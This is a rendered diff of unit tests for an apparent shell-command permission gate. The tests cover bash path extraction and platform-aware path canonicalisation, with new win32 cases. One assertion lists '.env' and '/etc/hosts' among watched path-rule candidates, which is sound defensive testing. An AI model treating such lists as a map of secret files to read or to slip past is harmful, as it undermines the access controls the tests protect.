|
542
608
|
expect(program.pathRuleCandidates().map(({ token }) => token)).toEqual([
|
|
543
609
|
".env",
|
|
544
610
|
"/etc/hosts",
|
|
@@ -18,13 +18,27 @@ vi.mock("node:fs", () => ({
|
|
|
18
18
|
}));
|
|
19
19
|
|
|
20
20
|
import { formatDenyReason } from "#src/denial-messages";
|
|
21
|
-
import { extractExternalPathsFromBashCommand } from "#src/handlers/gates/bash-path-extractor";
|
|
21
|
+
import { extractExternalPathsFromBashCommand as extractWithNormalizer } from "#src/handlers/gates/bash-path-extractor";
|
|
22
22
|
import { formatBashExternalDirectoryAskPrompt } from "#src/handlers/gates/external-directory-messages";
|
|
23
|
+
import { PathNormalizer } from "#src/path-normalizer";
|
|
23
24
|
|
|
24
25
|
afterEach(() => {
|
|
25
26
|
vi.restoreAllMocks();
|
|
26
27
|
});
|
|
27
28
|
|
|
29
|
+
// The production facade now takes a PathNormalizer (platform + cwd baked in);
|
|
30
|
+
// this wrapper preserves the (command, cwd) call shape the suite uses
|
|
31
|
+
// throughout so the projection-correctness assertions stay unchanged.
|
|
32
|
+
function extractExternalPathsFromBashCommand(
|
|
33
|
+
command: string,
|
|
34
|
+
cwd: string,
|
|
35
|
+
): Promise<string[]> {
|
|
36
|
+
return extractWithNormalizer(
|
|
37
|
+
command,
|
|
38
|
+
new PathNormalizer(process.platform, cwd),
|
|
39
|
+
);
|
|
40
|
+
}
|
|
41
|
+
|
|
28
42
|
describe("extractExternalPathsFromBashCommand", () => {
|
|
29
43
|
const cwd = "/projects/my-app";
|
|
30
44
|
|
|
@@ -21,12 +21,14 @@ describe("canonicalizePath", () => {
|
|
|
21
21
|
});
|
|
22
22
|
|
|
23
23
|
test("returns empty string for empty input", () => {
|
|
24
|
-
expect(canonicalizePath("")).toBe("");
|
|
24
|
+
expect(canonicalizePath("", "linux")).toBe("");
|
|
25
25
|
});
|
|
26
26
|
|
|
27
27
|
test("returns realpathSync result when path exists", () => {
|
|
28
28
|
realpathSync.mockReturnValueOnce("/real/projects/app");
|
|
29
|
-
expect(canonicalizePath("/projects/link")).toBe(
|
|
29
|
+
expect(canonicalizePath("/projects/link", "linux")).toBe(
|
|
30
|
+
"/real/projects/app",
|
|
31
|
+
);
|
|
30
32
|
});
|
|
31
33
|
|
|
32
34
|
test("re-appends a non-existent leaf to the canonical parent", () => {
|
|
@@ -35,7 +37,7 @@ describe("canonicalizePath", () => {
|
|
|
35
37
|
throw enoent("/projects/app/new-file.ts");
|
|
36
38
|
})
|
|
37
39
|
.mockReturnValueOnce("/canonical/app");
|
|
38
|
-
expect(canonicalizePath("/projects/app/new-file.ts")).toBe(
|
|
40
|
+
expect(canonicalizePath("/projects/app/new-file.ts", "linux")).toBe(
|
|
39
41
|
"/canonical/app/new-file.ts",
|
|
40
42
|
);
|
|
41
43
|
});
|
|
@@ -52,7 +54,7 @@ describe("canonicalizePath", () => {
|
|
|
52
54
|
throw enoent("/projects/app");
|
|
53
55
|
})
|
|
54
56
|
.mockReturnValueOnce("/canonical/projects");
|
|
55
|
-
expect(canonicalizePath("/projects/app/src/new-file.ts")).toBe(
|
|
57
|
+
expect(canonicalizePath("/projects/app/src/new-file.ts", "linux")).toBe(
|
|
56
58
|
"/canonical/projects/app/src/new-file.ts",
|
|
57
59
|
);
|
|
58
60
|
});
|
|
@@ -61,7 +63,7 @@ describe("canonicalizePath", () => {
|
|
|
61
63
|
realpathSync.mockImplementation(() => {
|
|
62
64
|
throw enoent("");
|
|
63
65
|
});
|
|
64
|
-
expect(canonicalizePath("/nonexistent/path/file.ts")).toBe(
|
|
66
|
+
expect(canonicalizePath("/nonexistent/path/file.ts", "linux")).toBe(
|
|
65
67
|
"/nonexistent/path/file.ts",
|
|
66
68
|
);
|
|
67
69
|
});
|
|
@@ -70,14 +72,18 @@ describe("canonicalizePath", () => {
|
|
|
70
72
|
realpathSync.mockImplementation(() => {
|
|
71
73
|
throw Object.assign(new Error("ELOOP"), { code: "ELOOP" });
|
|
72
74
|
});
|
|
73
|
-
expect(canonicalizePath("/some/looping/path")).toBe(
|
|
75
|
+
expect(canonicalizePath("/some/looping/path", "linux")).toBe(
|
|
76
|
+
"/some/looping/path",
|
|
77
|
+
);
|
|
74
78
|
});
|
|
75
79
|
|
|
76
80
|
test("returns input unchanged on EACCES (permission denied)", () => {
|
|
77
81
|
realpathSync.mockImplementation(() => {
|
|
78
82
|
throw Object.assign(new Error("EACCES"), { code: "EACCES" });
|
|
79
83
|
});
|
|
80
|
-
expect(canonicalizePath("/restricted/path")).toBe(
|
|
84
|
+
expect(canonicalizePath("/restricted/path", "linux")).toBe(
|
|
85
|
+
"/restricted/path",
|
|
86
|
+
);
|
|
81
87
|
});
|
|
82
88
|
|
|
83
89
|
test("handles ENOTDIR by walking up (like ENOENT)", () => {
|
|
@@ -86,8 +92,28 @@ describe("canonicalizePath", () => {
|
|
|
86
92
|
throw Object.assign(new Error("ENOTDIR"), { code: "ENOTDIR" });
|
|
87
93
|
})
|
|
88
94
|
.mockReturnValueOnce("/real/parent");
|
|
89
|
-
expect(canonicalizePath("/real/parent/not-a-dir")).toBe(
|
|
95
|
+
expect(canonicalizePath("/real/parent/not-a-dir", "linux")).toBe(
|
|
90
96
|
"/real/parent/not-a-dir",
|
|
91
97
|
);
|
|
92
98
|
});
|
|
99
|
+
|
|
100
|
+
// ── injected platform flavor (win32-separator splitting) ──────────────
|
|
101
|
+
|
|
102
|
+
test("win32: splits and rejoins on the backslash separator", () => {
|
|
103
|
+
realpathSync
|
|
104
|
+
.mockImplementationOnce(() => {
|
|
105
|
+
throw enoent("C:\\projects\\link\\file.ts");
|
|
106
|
+
})
|
|
107
|
+
.mockReturnValueOnce("C:\\real\\app");
|
|
108
|
+
expect(canonicalizePath("C:\\projects\\link\\file.ts", "win32")).toBe(
|
|
109
|
+
"C:\\real\\app\\file.ts",
|
|
110
|
+
);
|
|
111
|
+
});
|
|
112
|
+
|
|
113
|
+
test("win32: resolves an existing path via realpathSync", () => {
|
|
114
|
+
realpathSync.mockReturnValueOnce("C:\\real\\app");
|
|
115
|
+
expect(canonicalizePath("C:\\projects\\link", "win32")).toBe(
|
|
116
|
+
"C:\\real\\app",
|
|
117
|
+
);
|
|
118
|
+
});
|
|
93
119
|
});
|